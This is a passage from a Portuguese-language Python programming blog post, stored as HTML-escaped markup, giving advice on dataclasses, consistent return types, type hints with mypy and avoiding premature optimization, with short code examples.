        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error processing page: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pode parecer simples, e a tipagem está correta, mas ainda é impossível determinar corretamente qual o &lt;em&gt;formato&lt;/em&gt; que a
entrada e saída devem ter. Fica muito melhor definir explicitamente com o que a função deve responder:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;dataclasses&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dataclass&lt;/span&gt;


&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dataclass&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;page_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;


&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dataclass&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;page_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essa implementação define como os objetos devem ser, não sendo necessário checar se o dicionário tem os campos certos.&lt;/p&gt;

&lt;h2 id=&quot;evite-múltiplos-tipos&quot;&gt;Evite múltiplos tipos&lt;/h2&gt;

&lt;p&gt;Na implementação acima, existe também a possibilidade de a execução gerar um erro, por exemplo, ao passar um dicionário
vazio:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;metadata&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;page_num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;page_num&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error processing page: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;parsed_page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({})&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parsed_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;metadata&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Returna um erro! O objeto só tem o campo &quot;error&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Em geral, não é preferível que seu objeto de retorno varie absurdamente dependendo do input. Como por norma (e
obviamente com algumas exceções), eu costumo fazer uma função retornar um tipo, com no máximo dois tipos:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Um tipo esperado da função.&lt;/li&gt;
  &lt;li&gt;Em alguns casos &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt;, deixando o tipo como opcional.&lt;/li&gt;
  &lt;li&gt;Alternativamente, se a resposta não foi opcional, uma exceção é levantada.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Aqui estão as duas implementações possíveis com essa regra:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Optional&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# Returna None se a função falha
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Optional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error processing page: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# Levanta uma exceção se a função falha
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParsedPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page_num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;mypy&quot;&gt;mypy&lt;/h2&gt;

&lt;p&gt;O verificador de tipos mais conhecido do Python é o &lt;a href=&quot;https://mypy-lang.org/&quot;&gt;mypy&lt;/a&gt;, e ele garante que não há erros de
tipagem definidos no seu código. IDEs como o PyCharm já levam em consideração os tipos e mostram avisos quando eles
não são respeitados, mas o mypy leva transforma esses avisos em erros. Tomando o exemplo anterior,
definiríamos a função como:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Levanta avisos na IDE, mas funciona
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;somar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# Funciona sem avisos 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nesse caso, é definido &lt;em&gt;explicitamente&lt;/em&gt; quais os tipos que a função aceita, e qual o tipo que retorna. Se rodarmos o
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mypy test.py&lt;/code&gt; com o código acima, obtemos:&lt;/p&gt;

&lt;p&gt;Obtemos:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;test.py:4: error: Argument 1 to &quot;somar&quot; has incompatible type &quot;str&quot;; expected &quot;int&quot;  [arg-type]
test.py:4: error: Argument 2 to &quot;somar&quot; has incompatible type &quot;str&quot;; expected &quot;int&quot;  [arg-type]
Found 2 errors in 1 file (checked 1 source file)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Não estou sugerindo que você use mypy, mas estou sugerindo que todas as suas funções, métodos tenham tipos de entrada
e retorno. Isso facilita e muito no desenvolvimento, além de facilitar a leitura.&lt;/p&gt;

&lt;p&gt;Caso você esteja com tempo curto, bibliotecas como o &lt;a href=&quot;https://github.com/Instagram/MonkeyType&quot;&gt;MonkeyType&lt;/a&gt; podem ajudar
a escrever tipos para código já escrito.&lt;/p&gt;

&lt;h1 id=&quot;não-complique-descomplique&quot;&gt;Não complique, descomplique&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/the_general_problem.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Outro erro bastante comum é fazer o chamado &lt;em&gt;overengineering&lt;/em&gt;, tentando resolver um problem que nem ao menos existe, 
deixando o código menos legível, e muitas vezes mais lento.&lt;/p&gt;

&lt;h2 id=&quot;evite-a-otimização-prematura&quot;&gt;Evite a otimização prematura&lt;/h2&gt;

&lt;p&gt;Uma frase célebre de Donald Knuth, criador do TeX
(&lt;a href=&quot;./2016-11-10-introdu-o-ao-latex.markdown&quot;&gt;predecessor do LaTeX que já cobrimos aqui&lt;/a&gt;) é a seguinte:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Programmers waste enormous amounts of time thinking about, or worrying about, the speed of noncritical parts of their
programs, and these attempts at efficiency actually have a strong negative impact when debugging and maintenance are
considered. We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of
all evil. Yet we should not pass up our opportunities in that critical 3%.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Um exemplo bastante claro de otimização prematura, que já passou na cabeça de muitas pessoas (inclusive na minha), é de
resolver qual a função deve ser executada com base em um dicionário.&lt;/p&gt;

&lt;p&gt;Nesse caso, a função executada depende do parâmetro que foi passado para a função:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;lambda&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essa é uma reimplementação do clássico &lt;em&gt;if-else&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function_if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Literal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;param&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fn_3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ou, caso você rode Python 3.10 ou superior, um &lt;em&gt;match-case&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt;


